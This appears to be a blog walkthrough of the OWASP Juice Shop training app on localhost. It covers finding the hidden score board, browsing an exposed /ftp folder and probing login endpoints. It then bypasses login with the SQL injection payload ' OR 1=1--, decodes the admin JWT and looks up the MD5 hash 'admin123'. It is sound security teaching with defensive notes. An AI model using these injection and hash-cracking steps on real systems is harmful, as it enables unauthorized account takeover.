See the previous post on useful tools. These challenges are similar to other CTFs, but the details to those are subject to non-disclosure agreements (NDAs).
Challenges
Some of the challenges are exploiting vulnerabilities and others for using methods to find vulnerabilities. There are hints and possibly answers, but best to solve these with just tools and knowledge of possible vulnerabilities .
Score Board
From the site:
"The hacking progress is tracked on a score board. Finding this score board is actually one of the (easy) challenges!"
Method 1
- Navigate to the site and open up the Chrome/Firefox Developer Tools (F12).
- Search navigate to the Sources tab.
- Select the equivalent main.js. The exact filename for the version I ran was main-es2018.js.
- Ctrl+F for search/find box and type score.
- Look for any code matching this for a clue:
Method 2
- Since this is a open-source project search the github repository.
- See typescript file scoreBoardSpec.ts
Method 3
Similar to method 2
- Search for other related repositories under OWASP this time.
Vulnerabilities
- Information Disclosure/Exposure
- Broken Authentication?
General Browsing/Probing
OWASP ZAP to do some forced browsing, but let's see what we can find manually.
About Page
- From the right pane menu, select About Us and you'll be presented with a page that has a link:
http://localhost:3000/ftp/legal.md
What happens if we navigate to http://localhost:3000/ftp
?
OMG so many goodies.
Note: A basic way to hide directories from web crawlers is to specify this in a robots.txt:
http://localhost:3000/robots.txt
User-agent: *
Disallow: /ftp
Quarantine Folder
Contains .url files to github:
- Download one of the .url files.
- See contents via Notepad or terminal/shell (type/touch/cat):
type juicy_malware_windows_64.txt.url
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/J12934/juicy-malware/raw/master/juicy_malware_windows_64.exe
IDList=
- The link will download an actual
.exe
file. I wouldn't recommend downloading and double-clicking on it unless you have a sandbox environment to do so...
Acquisitions..md
Looks confidential...
Announcement_Encrypted..md
This looks to be digits only so we can rule out Base64 encoding.
# Grab the contents:
$response = Invoke-WebRequest http://localhost:3000/ftp/announcement_encrypted.md
$content = $response.Content
TBD
Maybe we can get a clue from encrypt.pyc in the same directory...
TBD
Vulnerabilities
- Access Control
- Directory Enumeration
Login
Register New Account
The user interface is nice and even gives you a password complexity indicator with requirements. Too bad it didn't apply to the Administrator.
Observation 1: The login/email is case-specific (at least before the \@) and this is within the RFC5321. However for usability, this might be problematic for the customer. It would be nice to perform a toLower()
or toUpper()
and store that for comparison.
Probing
- Open the browser developer tools (F12).
- Switch to the Network tab.
There are 3 requests. The first requests hit:
http://localhost:3000/rest/user/whoami
Navigating to that URI in the browser returns the current logged in user, which is null right now since we're not logged-in. You can also see the original response in the Response tab:
{"user":{}}
The second point of interest, we see the REST API endpoint the frontend is calling to without SSL/TLS:
http://localhost:3000/rest/user/login
This opens up client to Man/Person-in-the-Middle (MITM) attacks. Especially bad for a login page where credentials are sent unencrypted.
Navigating to that URI in the browser gives us back an error that has a stack trace which could leak sensitive information (frameworks used, structure of the code, etc):
Looks like AngularJS for the client with Node.js and Express for the web framework. With this knowledge and digging for versions, we could probably find some vulnerabilities within these frameworks if they aren't up to date (example).
The third point is the Request Payload. Any input from the client could be an attack vector for SQL Injection or XSS:
{email: "tester@test.com", password: "123456"}
Exploits
Let's now focus on input to the Email and Password input.
- For the Email input, type in a single quote
'
to close out the string input. - The password field validates if empty or not so put in the same single quote or comment indicator
--
.
Looks like a bug or unhandled exception...
- Navigate to the Response tab to see what we get from the server:
{
"error": {
"message": "SQLITE_ERROR: unrecognized token: \"3590cb8af0bbb9e78c343b52b93773c9\"",
"stack": "SequelizeDatabaseError: SQLITE_ERROR: unrecognized token: \"3590cb8af0bbb9e78c343b52b93773c9\"\n at Query.formatError (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:403:16)\n at Query._handleQueryResponse (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:72:18)\n at afterExecute (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:238:27)\n at Statement.errBack (/juice-shop/node_modules/sqlite3/lib/sqlite3.js:14:21)",
"name": "SequelizeDatabaseError",
"parent": {
"errno": 1,
"code": "SQLITE_ERROR",
"sql": "SELECT * FROM Users WHERE email = ''' AND password = '3590cb8af0bbb9e78c343b52b93773c9' AND deletedAt IS NULL"
},
"original": {
"errno": 1,
"code": "SQLITE_ERROR",
"sql": "SELECT * FROM Users WHERE email = ''' AND password = '3590cb8af0bbb9e78c343b52b93773c9' AND deletedAt IS NULL"
},
"sql": "SELECT * FROM Users WHERE email = ''' AND password = '3590cb8af0bbb9e78c343b52b93773c9' AND deletedAt IS NULL"
}
}
Looks like we're using SQLite from the stack trace returned from the we can also see the actual SQL query. Even without this we could guess how to inject some SQL in or use SQLMap with the payload option. Note as well what the password is. Looks like a hash, but what type? Let's try (see the previous tools post noted above).
Install-Module Pscx -Scope CurrentUser
"'" | Get-Hash "'" -Algorithm MD5
Output
Algorithm: MD5
Path :
HashString : 3590CB8AF0BBB9E78C343B52B93773C9
Confirmed and noted. Passwords are easily reversed looked up from a rainbow table with this hashing algorithm.
- Try to get further by updating the query to
' OR 1=1--'
.- Close out the string input
'
. - The
OR
operator to continue next part of the statement. - With
1=1
will always be true. - Then
--
to comment out the rest of the query (excludes password hash check).
- Close out the string input
We are now logged in as Administrator.
Response:
{
"authentication": {
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0QWRtaW4ucG5nIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIxLTA1LTE2IDE5OjI1OjUyLjUwMCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIxLTA1LTE2IDE5OjI1OjUyLjUwMCArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2MjE1NDMzMjksImV4cCI6MTYyMTU2MTMyOX0.QV2NsC1bPNPWZ7B7VpdaC9R1KHoizrzaTEy0wqwzB54by9IdHfXFpnsC3TM46fVrAx_f_4JMSXoxMzuVo6D69c5EMhOfLpmbzbUcOAl-rdPtm59fu_urum_SlbTyrpi0rsmnmRw4iN-ZkWtw_iFknsN-Q0L9_qnEKhKJpN8E6Io",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}
Looks like the token property of the payload is actually a JWT which is Base64 encoded. We also now know the administrator email address.
Note: Do not store any sensitive/secret information inside a JWT without encrypting them. Base64 encoding is not encryption. I prefer not storing anything sensitive data if at all possible. JWTs are primarily used for authentication (login) and authorization (API endpoints).
Decoded Token (JWT Header):
{
"typ": "JWT",
"alg": "RS256"
}
Decoded Token (JWT Payload):
{
"status": "success",
"data": {
"id": 1,
"username": "",
"email": "admin@juice-sh.op",
"password": "0192023a7bbd73250516f069df18b500",
"role": "admin",
"deluxeToken": "",
"lastLoginIp": "0.0.0.0",
"profileImage": "assets/public/images/uploads/defaultAdmin.png",
"totpSecret": "",
"isActive": true,
"createdAt": "2021-05-16 19:25:52.500 +00:00",
"updatedAt": "2021-05-16 19:25:52.500 +00:00",
"deletedAt": null
},
"iat": 1621543329,
"exp": 1621561329
}
We now know the password hash without even performing additional SQL Injection. We can easily reverse lookup the 0192023a7bbd73250516f069df18b500
using freely available tools/dictionaries which yields admin123
. Nice...
Logout then log back in with the discovered credentials:
The Id also is returned back as an integer which would allow us to enumerate other profiles. This wouldn't be possible if the Id was a GUID (non-sequential) or something that can't be enumerated on.
Vulnerabilities
- Error Handling
- Information Disclosure/Exposure
- Security Misconfiguration
- Insecure Hashing
- Low Entropy Password
- SQL Injection
Next
TODO: Translate notes to posts.